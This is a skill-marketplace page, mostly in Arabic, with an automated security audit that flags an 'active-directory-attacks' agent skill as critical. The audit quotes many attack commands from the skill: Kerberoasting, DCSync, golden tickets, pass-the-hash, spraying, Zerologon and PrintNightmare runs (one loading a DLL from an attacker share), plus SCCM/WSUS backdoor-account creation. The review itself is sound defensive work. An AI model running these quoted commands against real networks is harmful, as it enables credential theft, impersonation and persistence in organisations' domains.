المهارات active-directory-attacks
📦
active-directory-attacks
مراجعة المحتوى r1 حرج ⚙️ الأوامر الخارجية🌐 الوصول إلى الشبكة📁 الوصول إلى نظام الملفات
تقييم مسارات الهجوم في Active Directory
تتطلب تقييمات Active Directory مراجع منظمة لسير عمل الهجوم. ترسم هذه المهارة مسارات الاستطلاع، وإساءة استخدام بيانات الاعتماد، وهجمات Kerberos، ومسارات الترحيل، وتقنيات AD المتقدمة للاختبار المصرح به.
يدعم: Claude Codex Code(CC)
لا تثبّت هذا Skill تلقائيًا.
تتطلب السياسة المعتمدة مراجعة المشغّل قبل أي إجراء تثبيت.
التثبيت باستخدام Agent لدي
انسخ هذا الطلب إلى Agent لديك. يتضمن صفحة Skill المعتمدة وملف manifest.
طلب الوكيل
Review the Skillstore skill "active-directory-attacks" from https://skillstore.io/skills/sickn33-active-directory-attacks.md and its manifest at https://skillstore.io/api/skills/sickn33-active-directory-attacks/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.يجب أن يواصل Agent عرض خطته وطلب أي تأكيد تفرضه سياسة الأمان.
موارد مهيّأة لـ Agents
استخدم هذه الروابط عندما يحتاج AI Agent أو crawler أو script إلى سياق نظيف بدلًا من قراءة الصفحة كاملة.
اختبرها
جارٍ استخدام "active-directory-attacks". أحتاج إلى نظرة عامة آمنة قبل تقييم مختبر AD.
النتيجة المتوقعة:
توضح الاستجابة المتطلبات المسبقة، والتفويض الكتابي، ونطاق الاختبار، وحدود قفل الحسابات، والتعامل مع الأدلة، وتوقعات التنظيف.
جارٍ استخدام "active-directory-attacks". ساعدني في تنظيم النتائج من اختبار Kerberoasting والترحيل.
النتيجة المتوقعة:
تجمع الاستجابة النتائج حسب التقنية، والأصول المتأثرة، والامتيازات المطلوبة، ومخاطر الأعمال، والمتابعة الدفاعية الموصى بها.
جارٍ استخدام "active-directory-attacks". حضّر وحدة تدريبية لمسارات هجوم AD.
النتيجة المتوقعة:
تنشئ الاستجابة وحدة موجهة للمختبر تغطي المفاهيم والمتطلبات المسبقة والملاحظات المتوقعة وحدود السلامة بدون أهداف إنتاجية.
التدقيق الأمني
حرجv6 • ٩/٧/٢٠٢٦ فتح التقرير المرتبط بالإصدار
AI review confirmed that the skill is an offensive Active Directory attack playbook. It includes executable command examples for credential theft, Kerberos ticket forgery, NTLM relay, AD CS abuse, CVE exploitation, lateral movement, persistence, and backdoor deployment. No prompt injection language was found, but the content is unsafe for broad marketplace publication without major defensive rewriting.
2
الملفات التي تم فحصها
775
الأسطر التي تم تحليلها
101
عناصر المراجعة
0
تم تجاهل الإيجابيات الكاذبة
مخاوف أمنية مؤكدة (33)
حرج
Malware type keywords
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe"
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
حرج
Malware type keywords
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
حرج
Malware type keywords
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
حرج
Malware type keywords
MalSCCM.exe app /cleanup /name:backdoor
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
حرج
Malware type keywords
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoo
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
حرج
Offensive Domain Compromise Objective
The skill states outputs that include extracted credentials, Kerberos tickets for impersonation, Domain Administrator access, and persistent access mechanisms.
The deliverables explicitly describe credential theft, privilege escalation, impersonation, and persistence as intended outcomes.
حرج
End-to-End Credential Theft Workflow
The skill chains DCSync, Kerberoasting, ticket forgery, pass-the-hash, and certificate authentication into actionable compromise workflows.
The cited sections provide a coherent path from credential extraction to authentication as privileged users.
حرج
Backdoor Deployment and Persistence Workflow
The advanced reference shows creating malicious applications and updates that add backdoor accounts, then cleaning deployment records.
The section explicitly describes malicious SCCM and WSUS deployment steps that create backdoor access.
عرض جميع النتائج المؤكدة البالغة 33
مرتفع
Certificate/key files
certipy auth -pfx administrator.pfx -dc-ip DC_IP
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
مرتفع
Certificate/key files
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccach
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
مرتفع
Certificate/key files
klist -k /etc/krb5.keytab
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
مرتفع
Certificate/key files
python3 keytabextract.py /etc/krb5.keytab
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
مرتفع
Windows registry access
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
The registry modification enables DSRM administrator logon behavior after dumping credentials. This changes Windows authentication behavior for persistence or privilege abuse.
مرتفع
Weak cryptographic algorithm
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domai
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
مرتفع
Weak cryptographic algorithm
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.dom
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
مرتفع
Weak cryptographic algorithm
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
مرتفع
Secure file deletion
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
The static label is imprecise, but the line changes HKLM DSRM logon behavior in an offensive credential workflow. It remains a confirmed security risk because it enables persistence.
مرتفع
Certificate/key files
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
مرتفع
Weak cryptographic algorithm
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.lo
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
مرتفع
Weak cryptographic algorithm
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
مرتفع
Network scanning tools
nmap -sT 10.10.10.10 -p445 --script smb2-time
The nmap command targets SMB on a domain controller address to prepare Kerberos and AD attack workflows. This is active network probing guidance.
مرتفع
Authorization Disclaimer Without Enforceable Guardrails
The file includes an authorized-use note, but the rest of the skill provides full attack workflows without refusal criteria or defensive-only fallbacks.
The disclaimer is real, but it does not constrain the actionable offensive content that follows throughout the skill.
متوسط
System reconnaissance
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
متوسط
System reconnaissance
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://targ
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
متوسط
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
متوسط
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
متوسط
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -pr
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
متوسط
System reconnaissance
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
متوسط
Network reconnaissance
Find-LocalAdminAccess -Verbose
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
متوسط
Network reconnaissance
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
منخفض
Network reconnaissance
- ADFS service account access
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
منخفض
System reconnaissance
- Have valid domain credentials for most attacks
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
منخفض
Network reconnaissance
- Domain Administrator access
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
عناصر مراجعة القدرات (101)
هذه قدرات محلية حقيقية قد يُتوقع وجودها لهذه المهارة، لذا فهي تتطلب مراجعة ولكن لا تُحتسب كسلوك خبيث مؤكد.
حرج
Windows cmd.exe
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe"
The command uses cmd.exe to create a backdoor user through GPO or WSUS abuse. This is direct persistence and unauthorized access guidance.
حرج
Windows cmd.exe
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoo
The command uses cmd.exe to create a backdoor user through GPO or WSUS abuse. This is direct persistence and unauthorized access guidance.
مرتفع
Shell command substitution
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPl
The command creates an attacker-controlled machine account for resource-based constrained delegation. The substitution builds a password object inside an exploitation workflow.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
# PowerShell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
# PowerShell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
# PowerShell + DSInternals
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
Hardcoded URL
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainCo
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
مرتفع
Hardcoded URL
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://targ
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
مرتفع
Hidden file access
/var/lib/sss/secrets/.secrets.mkey
The hidden file path is the SSSD secrets key used for Linux AD credential extraction. The surrounding section explains extracting and reusing authentication secrets.
مرتفع
Ruby/shell backtick execution
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
مرتفع
Ruby/shell backtick execution
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
مرتفع
Ruby/shell backtick execution
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
مرتفع
Ruby/shell backtick execution
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
مرتفع
Ruby/shell backtick execution
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
مرتفع
Ruby/shell backtick execution
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
مرتفع
sudo privilege escalation
sudo date -s "14 APR 2024 18:25:16"
The command indicator appears in executable examples for Active Directory attacks. The skill teaches users how to run offensive tooling, so the risk is confirmed.
مرتفع
Hardcoded URL
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainCo
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
متوسط
Temp directory access
ls /tmp/ | grep krb5cc
The temp directory access is used to locate and reuse Kerberos credential caches. In context, it supports ticket theft or impersonation workflows.
متوسط
Temp directory access
export KRB5CCNAME=/tmp/krb5cc_1000
The temp directory access is used to locate and reuse Kerberos credential caches. In context, it supports ticket theft or impersonation workflows.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
متوسط
Hardcoded IP address
nmap -sT 10.10.10.10 -p445 --script smb2-time
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
متوسط
Hardcoded IP address
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
عوامل الخطر
⚙️ الأوامر الخارجية (50)
